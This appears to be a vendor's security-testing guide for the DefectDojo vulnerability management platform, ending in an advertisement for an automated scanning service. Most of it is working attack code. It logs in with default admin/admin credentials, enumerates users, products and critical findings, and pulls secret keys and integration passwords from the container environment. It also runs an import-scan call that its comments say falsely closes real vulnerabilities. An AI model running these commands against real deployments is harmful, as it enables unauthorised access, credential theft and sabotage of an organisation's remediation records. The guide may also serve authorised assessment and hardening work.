DefectDojo Security Testing: API Token, Finding Import, User Management, and Vulnerability Data

DefectDojo is the most widely deployed open-source vulnerability management and orchestration platform, used by security teams to aggregate findings from scanners, track remediation, and manage security programs. As the repository of an organization's complete vulnerability intelligence, DefectDojo is an extremely high-value target: it contains every known vulnerability across all products, their CVSS scores, affected endpoints, and remediation status. Key assessment areas: DefectDojo ships with admin/admin default credentials and Docker Compose deployments often retain them; the REST API v2 token provides read and write access to all findings across all products; the /api/v2/import-scan endpoint allows injecting false vulnerability findings to corrupt remediation tracking; the Django admin panel at /admin/ provides direct database model access; and the DefectDojo settings contain JIRA, Slack, and email credentials stored in the database. This guide covers systematic DefectDojo security assessment.

Table of Contents

  1. Default Credentials and API Token Access
  2. Finding Enumeration and Injection
  3. Django Admin Panel and Integration Credentials
  4. DefectDojo Security Hardening

Default Credentials and API Token Access

# DefectDojo — default credential testing and API authentication
DOJO_URL="https://defectdojo.example.com"

# Test default admin/admin credentials
TOKEN=$(curl -s -X POST "${DOJO_URL}/api/v2/api-token-auth/" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('token',''))
" 2>/dev/null)

if [ -n "$TOKEN" ]; then
    echo "DEFAULT CREDENTIALS VALID: admin/admin"
    echo "API token: ${TOKEN:0:30}..."
fi

# Enumerate all users
curl -s "${DOJO_URL}/api/v2/users/?limit=100" \
  -H "Authorization: Token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('results',[])
total = d.get('count',0)
print(f'Users: {total}')
for u in users:
    print(f'  {u.get(\"username\")} email={u.get(\"email\")} is_staff={u.get(\"is_staff\")} last_login={u.get(\"last_login\")}')
" 2>/dev/null

# Enumerate all products (security assessment targets)
curl -s "${DOJO_URL}/api/v2/products/?limit=100" \
  -H "Authorization: Token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
products = d.get('results',[])
print(f'Products: {d.get(\"count\",0)}')
for p in products:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} prod_type={p.get(\"prod_type\",{}).get(\"name\")} findings={p.get(\"findings_count\")}')
" 2>/dev/null

Finding Enumeration and Injection

# DefectDojo findings API — vulnerability intelligence extraction
DOJO_URL="https://defectdojo.example.com"
TOKEN="your-defectdojo-api-token"

# Enumerate all vulnerability findings — complete security posture
curl -s "${DOJO_URL}/api/v2/findings/?limit=100&active=true&severity=Critical" \
  -H "Authorization: Token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
findings = d.get('results',[])
total = d.get('count',0)
print(f'Critical active findings: {total}')
for f in findings[:20]:
    print(f'  [{f.get(\"id\")}] {f.get(\"title\")} severity={f.get(\"severity\")}')
    print(f'    Component: {f.get(\"component_name\")}:{f.get(\"component_version\")}')
    print(f'    CVE: {f.get(\"cve\")} CVSS: {f.get(\"cvssv3_score\")}')
    print(f'    Endpoints: {[e.get(\"host\") for e in f.get(\"endpoints\",[])]}')
    print(f'    Description: {f.get(\"description\",\"\")[:100]}')
" 2>/dev/null

# False finding injection — corrupt remediation tracking
# Import a fake scan result that closes a real vulnerability as resolved
curl -s -X POST "${DOJO_URL}/api/v2/import-scan/" \
  -H "Authorization: Token ${TOKEN}" \
  -F "scan_type=ZAP Scan" \
  -F "minimum_severity=Info" \
  -F "active=true" \
  -F "verified=true" \
  -F "close_old_findings=true" \
  -F "engagement=1" \
  -F "file=@/dev/null" \
  2>/dev/null

# Get engagement list — maps all security test engagements
curl -s "${DOJO_URL}/api/v2/engagements/?limit=50" \
  -H "Authorization: Token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
engs = d.get('results',[])
print(f'Engagements: {d.get(\"count\",0)}')
for e in engs:
    print(f'  [{e.get(\"id\")}] {e.get(\"name\")} status={e.get(\"status\")} product={e.get(\"product\")}')
    print(f'    Target start: {e.get(\"target_start\")} end: {e.get(\"target_end\")}')
" 2>/dev/null

Django Admin Panel and Integration Credentials

# DefectDojo Django admin panel and integration credential extraction
DOJO_URL="https://defectdojo.example.com"

# Access Django admin panel with admin credentials
# /admin/ provides direct model-level access to all DefectDojo data
curl -s "${DOJO_URL}/admin/" -c /tmp/dojo_session \
  --data "csrfmiddlewaretoken=$(curl -sc /tmp/dojo_session ${DOJO_URL}/admin/ 2>/dev/null | grep csrftoken | awk '{print $7}')&username=admin&password=admin" \
  -b /tmp/dojo_session 2>/dev/null | grep -i "site administration"

# DefectDojo environment variables — JIRA, Slack, and email credentials
docker inspect defectdojo-django 2>/dev/null | python3 -c "
import json,sys
containers=json.load(sys.stdin)
if not containers: import sys; sys.exit()
env = containers[0].get('Config',{}).get('Env',[])
for e in env:
    if any(k in e.upper() for k in ['JIRA','SLACK','SMTP','EMAIL','SECRET','DATABASE','PASSWORD','TOKEN','KEY']):
        print(f'Credential: {e}')
" 2>/dev/null
# Common credential env vars:
# DD_DATABASE_PASSWORD — PostgreSQL password for the DefectDojo database
# DD_SECRET_KEY — Django secret key (enables session forgery)
# JIRA_TOKEN — Jira API token for finding synchronization
# DD_CELERY_BROKER_PASSWORD — Redis/RabbitMQ password for task queue

# Access the DefectDojo system settings via API — JIRA configuration
curl -s "${DOJO_URL}/api/v2/system_settings/1/" \
  -H "Authorization: Token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'JIRA URL: {d.get(\"jira_server\")}')
print(f'SLA config: {d.get(\"sla_configuration\")}')
print(f'Email notifications: {d.get(\"enable_slack_notifications\")}')
" 2>/dev/null

DefectDojo Security Hardening

DefectDojo Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credentialsPOST /api/v2/api-token-auth/ with admin:admin — API token returned; provides full access to all vulnerability findings, products, engagements, and user management across the entire vulnerability management programCritical
Vulnerability database enumerationGET /api/v2/findings/?limit=100 — returns all vulnerability findings with CVEs, CVSS scores, affected endpoints, and component versions; complete security posture intelligence for all monitored productsCritical
False finding injection via import-scanPOST /api/v2/import-scan/ with close_old_findings=true — marks all existing findings for an engagement as resolved/closed; corrupts vulnerability tracking and enables security debt to accumulate undetectedCritical (requires API write access)
DD_SECRET_KEY extraction for session forgerydocker inspect defectdojo-django — DD_SECRET_KEY in container environment; Django secret key enables HMAC session token forgery, bypassing authentication for any user including superadminCritical
Django admin panel accessGET /admin/ — direct Django ORM model access; admin credentials provide full database read/write including user password hash access, token creation, and raw finding modification bypassing application-level validationCritical (requires admin credentials)

Automate DefectDojo Security Testing

Ironimo tests DefectDojo deployments for default credential exploitation, API token vulnerability database enumeration, false finding injection capability via import-scan, DD_SECRET_KEY extraction from container environment, Django admin panel access control, JIRA and Slack integration credential extraction, scan import permission audit, and product-level access control boundary testing.

Start free scan